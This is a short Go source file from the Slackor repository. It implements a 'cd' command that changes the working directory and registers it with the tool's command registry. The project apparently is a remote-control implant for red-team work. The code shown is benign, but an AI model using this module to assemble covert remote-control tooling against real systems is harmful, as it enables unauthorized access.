github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/pkg/common/cd.go (about) 1 package common 2 3 import ( 4 "errors" 5 "os" 6 7 "github.com/n00py/Slackor/pkg/command" 8 ) 9 10 // CD changes the current working directory 11 type CD struct{} 12 13 // Name is the name of the command 14 func (c CD) Name() string { 15 return "cd" 16 } 17 18 // Run changes the current working directory 19 func (c CD) Run(clientID string, jobID string, args []string) (string, error) { 20 if len(args) != 1 { 21 return "", errors.New("cd takes 1 argument") 22 } 23 os.Chdir(args[0]) 24 return os.Getwd() 25 } 26 27 func init() { 28 command.RegisterCommand(CD{}) 29 }